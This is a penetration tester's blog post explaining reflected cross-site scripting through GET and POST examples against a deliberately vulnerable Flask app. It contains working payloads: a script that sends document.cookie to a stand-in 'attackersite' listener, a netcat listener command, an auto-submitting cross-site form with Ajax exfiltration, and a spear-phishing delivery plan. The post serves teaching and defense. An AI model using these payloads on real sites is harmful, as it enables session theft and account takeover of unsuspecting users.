Common Web Application Vulnerabilities - Part 1.1

By Dan Kottmann ·

In this series of posts, my colleagues and I will dig into some specific, common web application vulnerabilities we observe regularly while performing network and application pentests. The intention of this series is to further expand upon a lot of the great information that already exists on the topic while preemptively addressing common questions we receive from customers.

Part 1.1: XSS Overview and Reflected XSS

While Cross-Site Scripting (“XSS”) is neither a new nor a particularly exciting class of web application vulnerabilities, it certainly is one of the most prevalent OWASP issues that our Security Assessment practice encounters while performing penetration tests and vulnerability assessments. Through regular discussions with both technical and non-technical client contacts, I encounter individuals who misunderstand the vulnerability or the risk it produces. In this three-part subseries, I’ll attempt to address these items through practical demonstrations of exploitation.

This series will be broken into the following sections:

  • Part 1.1: XSS Overview and Reflected XSS
  • Part 1.2: Stored XSS
  • Part 1.3: DOM-Based XSS

Some details of this series may be over-simplified to more succinctly communicate the message. With that said, let’s start by defining XSS. The OWASP web site (owasp.org) defines XSS as follows:

“Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser script, to a different end user. […] Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens or other sensitive information retained by the browser and used with that site.”

So, for clarity, XSS occurs when a web application fails to appropriately sanitize or encode user-supplied input (e.g. URLs, form elements, user-agents, etc.) prior to its use/display in a user’s browser. This results in a scenario where an attacker’s malicious code executes within the context of a victim’s web browser. To be clear, XSS is a vulnerability that, when exploited, attacks other application consumers and not the server/web application itself.[1]

So let’s dive into one specific variety of XSS - Reflected XSS. The concept of Reflected XSS is fairly simple: the attacker’s payload is included in a victim’s request to the web server and “reflected” back to the victim by the vulnerable web application immediately (i.e. without delay or storage).

The payload appears to originate from the vulnerable web application and executes within the context of the victim’s web browser. That is, the malicious code can interact and access potentially sensitive information and functionality associated with the vulnerable site that is specific to the victim’s established session.

This, of course, begs the question: how does the attacker’s payload get submitted in a request initiated by the victim? This often entails social engineering - perhaps a spear phish or enticing a user to visit a malicious site owned by the attacker. Let’s look at exploitation of Reflected XSS using a couple examples.

For reference, I’ll be using the following the Python Flask application as my purposely vulnerable web application for the two examples. Flask is a lightweight, flexible framework for creating web applications in Python. The HTML templates referenced in the code are fairly generic and will be detailed where relevant. A rudimentary session identifier is included as a cookie to demonstrate the presence of sensitive information.

Example 1: HTTP GET Method

We’ll start with the most basic example: exploitation of GET parameters. This article is not intended to be a discussion of the HTTP protocol. For a decent overview, take a look at the HTTP protocol article on Wikipedia. What you need to know is that an HTTP GET request utilizes URL parameters as the primary means for communication of data. By default, clicking a link in an email client, on a web site, etc. results in the generation of a GET request whereas things like HTML form submissions result in a POST request.[2]

With that said, consider this simple example: a vulnerable site takes the request URL and simply reflects back the value as part of the page content. In this scenario, we’ll say that the site specifically reflects the GET parameter named ‘param’ back to the user. Refer to lines 6-11 of the above Python code for implementation.

So, a request for http://victimsite:4000/?param=abc123 produces the following benign response:


However, by manipulating the URL it quickly becomes obvious that the web application fails to sanitize the value of the ‘param’ parameter prior to displaying it in the browser. To confirm the execution of JavaScript, a small snippet of JavaScript to generate an alert box can be supplied:

http://victimsite:4000/example1?param=<script>alert(‘xss’)</script>

In the server response, we can observe that our value is included without sanitization or HTML encoding:

And indeed, our browser executes the code and displays the proof-of-concept alert box:

Ok, ok. So we confirmed the vulnerability exists, but how would it be exploited in real life? Session identifiers can be a common target as they are used to identify a specific user interacting with the application. If the user happens to be authenticated AND the session identifier is stolen, then an attacker could potentially masquerade as that user. In this case, let’s assume the attacker wants to steal the session identifier. There are a number of ways to accomplish this. I’ll demonstrate one.

I set up malicious domain and web server/listener accessible from the victim site. Let’s call this malicious domain ‘attackersite.’ I’ll use the netcat tool to deploy a basic listener on port 8080 to log resource requests from which the session identifiers may be extracted.

Prompt$> nc –lv 8080

I’ll craft a specific URL that utilizes JavaScript to construct an HTML image tag. However, I’ll build it in such a manner that it’ll submit a request to my listener in search of the image. The URL requested will contain the victim’s session identifier. Something like the following will do:

http://victimsite:4000/example1?param=<script>new Image().src="http://attackersite:8080/?s="+document.cookie;</script>[3]

Note that the image tag is being pointed to my attacking listener at a URL of the user’s cookie. Of course this URL doesn’t exist on my attacking site, but I simply want to capture the request (specifically the session identifier).

Next, I’d craft and send a malicious email containing a link to the above URL. The link would be disguised and presented in an enticing format to encourage users to click the link. Should a user with an active session fall victim to the social engineering campaign, his session could potentially be stolen. The following image demonstrates the data received on the listener after a victim clicks the malicious link. Note the presence of the session identifier.

Example 2: HTTP POST Method

Although the example above was fairly verbose, the logic is pretty straightforward. However, this isn’t necessarily the case when dealing with XSS associated with POST data. Here’s why: GET requests are simple to construct and feed to targets (e.g. through links embedded within a spear phish email). However, POST requests generally require the submission of an HTML form. This can be accomplished through the use of JavaScript, but the majority of email clients don’t execute JavaScript within emails. So, how do we exploit this?

Let’s first take a look at the application. Lines 13-21 of the Python code above present the vulnerable form page as well as the form processing logic.The page simply reflects the form value back in the HTML similar to the GET example above.

This simple input above produces the following HTTP request/response. Note the payload is displayed in encoded format, and the response contains the session identifier.

The user’s browser produces the alert box as expected, demonstrating the presence of the vulnerability.

So, revisiting the problem at hand, how do we submit a malicious payload via a POST request on behalf of another user when we cannot simply embed it as a link within an email?

One answer is to direct a victim to a site hosting malicious code that performs the POST request on the user’s behalf without the user knowing. Let’s see how.

  • The attacker procures a domain name to host a malicious page that’ll be used to exploit the vulnerability. A web server is set up to host the malicious HTML. In this example, I’ve set up a domain named ‘attackersite’ serving web pages via an Apache web server.
     
  • The attacker creates a malicious HTML page (index.html) that submits a form cross-site (from attackersite to victimsite). The form is submitted using the POST method and will largely duplicate the vulnerable form taken directly from ‘victimsite.’ In this case, the form is a direct copy with the exception of the ‘action’ attribute (highlighted below) being changed to use the FQDN of the victim site. This file, obviously, is hosted on the attacker’s site.

  • The attacker adds code to automatically submit the form when the page is loaded. When the ‘onload’ event fires (which it will automatically after the HTML is rendered), it calls the ‘exploit()’ function, which generates a click event for our submit button.

  • At this point, we have a malicious page hosted on our attacking site that, when accessed, automatically submits a form on behalf of the user browsing the site. So how do we get the session identifier? There are a number of ways, but I’ve chosen to use Ajax. What I’ll do is utilize a JavaScript payload that, as it’s executed in the user’s browser, makes an Ajax call to a listener I control. Similar to the first example, this request will contain the session identifier. The malicious HTML page is patched as follows:

  • The payload, highlighted in red above, constructs a GET request to the attacking site embedding the session identifier as a parameter on the URL – very similar to how the first example used the ‘Image’ object. However, one item to note. By default, due to security restrictions with cross-origin resource sharing (CORS), the Apache server on ‘attackersite’ will prevent the fulfillment of the request. This restriction can be removed by altering the following Apache configuration setting to explicitly allow CORS and restarting the server:

    Header set Access-Control-Allow-Origin “*"
     

  • Per Apache’s default functionality, all access requests (including their URLs) are saved to an access log file. Since we are transmitting the stolen session identifiers over a GET request, the URL will be logged to the file that we can then access to extract and steal session information. To execute the attack, a spear phish email could be fed to users directing them to our malicious page at http://attackersite.com/index.html (note this time we are directing them to ‘attackersite’ whereas in the first example we had to direct them to ‘victimsite’). Users who click the link access our malicious page, which then submits the form, executes our payload and sends the session identifier back to the site we control. Here’s a screenshot showing a captured session identifier in the Apache access log.

Conclusion

So, in this post, I discussed an overview of XSS as well as detailed inspection of Reflected XSS. As demonstrated through the examples above, exploitation is fairly simple but may vary based on the HTTP method through which the vulnerable data is exposed. XSS, in general, is an attack against application consumers rather than the server itself and results from improperly sanitized, encoded and/or validated user-supplied data. In the next post, I’ll discuss Stored XSS.

Footnotes

[1] The actual impact is dependent on the functionality provided by the web application. This means that negative impact or compromise of a server may be possible under some circumstances should the application expose sensitive functionality.

[2] There are exceptions of course as well as other methods to generate such requests, but this is intended to capture the simplest and/or most common behaviors.

[3] This URL has been slightly cleaned up for readability. In reality, the plus (+) sign requires URL encoding to avoid interpretation by browsers as an empty space.

Additional Posts